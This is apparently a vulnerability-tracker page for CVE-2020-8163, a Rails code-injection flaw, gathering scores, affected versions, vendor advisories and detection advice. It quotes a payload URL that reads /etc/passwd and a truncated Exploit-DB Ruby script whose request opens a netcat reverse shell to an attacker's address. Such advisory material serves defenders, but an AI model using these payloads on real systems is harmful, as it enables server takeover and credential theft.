CVE-2020-8163
published 2020-07-02CVE-2020-8163: The is a code injection vulnerability in versions of Rails prior to 5.0.1 that wouldallow an attacker who controlled the `locals` argument of a `render` call…
PriorityP278high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
EXPLOIT
EPSS
82.05%
99.6th percentile
The is a code injection vulnerability in versions of Rails prior to 5.0.1 that wouldallow an attacker who controlled the `locals` argument of a `render` call to perform a RCE.
Affected
9 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | debian_linux | — | — |
| debian | rails | < rails 2:5.2.0+dfsg-2 (bookworm) | rails 2:5.2.0+dfsg-2 (bookworm) |
| https | github.com_rails_rails | — | — |
| rails | actionview | >= 0 < 4.2.11.3 | 4.2.11.3 |
| rubyonrails | rails | < 5.0.1 | 5.0.1 |
| rubyonrails | rails | >= 0 < 2:5.2.0+dfsg-2 | 2:5.2.0+dfsg-2 |
| rubyonrails | rails | >= 0 < 2:5.2.0+dfsg-2 | 2:5.2.0+dfsg-2 |
| rubyonrails | rails | >= 0 < 2:5.2.0+dfsg-2 | 2:5.2.0+dfsg-2 |
| rubyonrails | rails | >= 0 < 2:5.2.0+dfsg-2 | 2:5.2.0+dfsg-2 |
Detection & IOCsextracted from sources · hover to see the quote
url{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23
- →Look for GET requests where query string parameters contain Ruby code patterns such as URL-encoded `IO.popen`, `system(`, or backtick execution — these indicate exploitation of the `locals` argument injection into Rails `render` partials. ↗
- →Monitor HTTP responses for `/etc/passwd` content (matching `root:.*:0:0:`) in response bodies, indicating successful RCE via the CVE-2020-8163 exploit path.
- →Audit Rails applications for user-controlled input reaching the `locals` argument of a `render` call, particularly in `actionview/lib/action_view/template.rb` and `activesupport/lib/active_support/core_ext/module/delegation.rb`. ↗
- ·Exploitation requires the attacker to control the name of a local variable passed into `render`; not all Rails applications expose this attack surface. ↗
CVSS provenance
nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
osv8.8HIGH
vendor_debian8.8HIGH
vendor_redhat8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Red Hat
rubygem-rails: potential remote code execution of user-provided local names
vendor_redhat·2020-05-15·CVSS 8.8
CVE-2020-8163 [HIGH] CWE-94 rubygem-rails: potential remote code execution of user-provided local names
rubygem-rails: potential remote code execution of user-provided local names
The is a code injection vulnerability in versions of Rails prior to 5.0.1 that wouldallow an attacker who controlled the `locals` argument of a `render` call to perform a RCE.
Package: cfme-amazon-smartstate (CloudForms Management Engine 5) - Not affected
Package: cfme-gemset (CloudForms Management Engine 5) - Not affected
Package: tfm-ror52-rubygem-rails (Red Hat Satellite 6) - Not affected
Debian
CVE-2020-8163: rails - The is a code injection vulnerability in versions of Rails prior to 5.0.1 that w...
vendor_debian·2020·CVSS 8.8
CVE-2020-8163 [HIGH] CVE-2020-8163: rails - The is a code injection vulnerability in versions of Rails prior to 5.0.1 that w...
The is a code injection vulnerability in versions of Rails prior to 5.0.1 that wouldallow an attacker who controlled the `locals` argument of a `render` call to perform a RCE.
Scope: local
bookworm: resolved (fixed in 2:5.2.0+dfsg-2)
bullseye: resolved (fixed in 2:5.2.0+dfsg-2)
forky: resolved (fixed in 2:5.2.0+dfsg-2)
sid: resolved (fixed in 2:5.2.0+dfsg-2)
trixie: resolved (fixed in 2:5.2.0+dfsg-2)
OSV
Remote code execution via user-provided local names in ActionView
osv·2020-07-07
CVE-2020-8163 [HIGH] Remote code execution via user-provided local names in ActionView
Remote code execution via user-provided local names in ActionView
The is a code injection vulnerability in versions of Rails prior to 5.0.1 that would allow an attacker who controlled the `locals` argument of a `render` call to perform a RCE.
GHSA
Remote code execution via user-provided local names in ActionView
ghsa·2020-07-07
CVE-2020-8163 [HIGH] CWE-94 Remote code execution via user-provided local names in ActionView
Remote code execution via user-provided local names in ActionView
The is a code injection vulnerability in versions of Rails prior to 5.0.1 that would allow an attacker who controlled the `locals` argument of a `render` call to perform a RCE.
OSV
CVE-2020-8163: The is a code injection vulnerability in versions of Rails prior to 5
osv·2020-07-02·CVSS 8.8
CVE-2020-8163 [HIGH] CVE-2020-8163: The is a code injection vulnerability in versions of Rails prior to 5
The is a code injection vulnerability in versions of Rails prior to 5.0.1 that wouldallow an attacker who controlled the `locals` argument of a `render` call to perform a RCE.
No detection rules found.
Exploit-DB
Rails 5.0.1 - Remote Code Execution
exploitdb·2020-07-26·CVSS 8.8
CVE-2020-8163 [HIGH] Rails 5.0.1 - Remote Code Execution
Rails 5.0.1 - Remote Code Execution
---
# Exploit Title: Rails 5.0.1 - Remote Code Execution
# Date: 2020-07-19
# Exploit Author: Lucas Amorim
# Vendor Homepage: www.rubyonrails.org
# Software Link: www.rubyonrails.org
# Version: Rails "
end
if ARGV.length < 3
header
exit(-1)
end
url = ARGV[0]
ip = ARGV[1]
port = ARGV[2]
puts "[*] Sending payload to #{url}"
uri = URI(url+"?system(%27nc+-e+/bin/sh+#{ip}+#{port}%27)%3ba%23")
Net::HTTP.get(uri)
Nuclei
Ruby on Rails <5.0.1 - Remote Code Execution
nuclei·CVSS 8.8
CVE-2020-8163 [HIGH] Ruby on Rails <5.0.1 - Remote Code Execution
Ruby on Rails <5.0.1 - Remote Code Execution
Ruby on Rails before version 5.0.1 is susceptible to remote code execution because it passes user parameters as local variables into partials.
Template:
id: CVE-2020-8163
info:
name: Ruby on Rails <5.0.1 - Remote Code Execution
author: tim_koopmans
severity: high
description: Ruby on Rails before version 5.0.1 is susceptible to remote code execution because it passes user parameters as local variables into partials.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized remote code execution.
remediation: |
Upgrade Ruby on Rails to version 5.0.1 or above.
reference:
- https://hackerone.com/reports/304805
- https://groups.google.com/g/rubyonrails-security/c/hWuKcHyoKh0
- https://lists.debian.org/debian-lts-announce/2
http://packetstormsecurity.com/files/158604/Ruby-On-Rails-5.0.1-Remote-Code-Execution.htmlhttps://groups.google.com/g/rubyonrails-security/c/hWuKcHyoKh0https://hackerone.com/reports/304805https://lists.debian.org/debian-lts-announce/2020/07/msg00013.htmlhttp://packetstormsecurity.com/files/158604/Ruby-On-Rails-5.0.1-Remote-Code-Execution.htmlhttps://groups.google.com/g/rubyonrails-security/c/hWuKcHyoKh0https://hackerone.com/reports/304805https://lists.debian.org/debian-lts-announce/2020/07/msg00013.html
2020-07-02
Published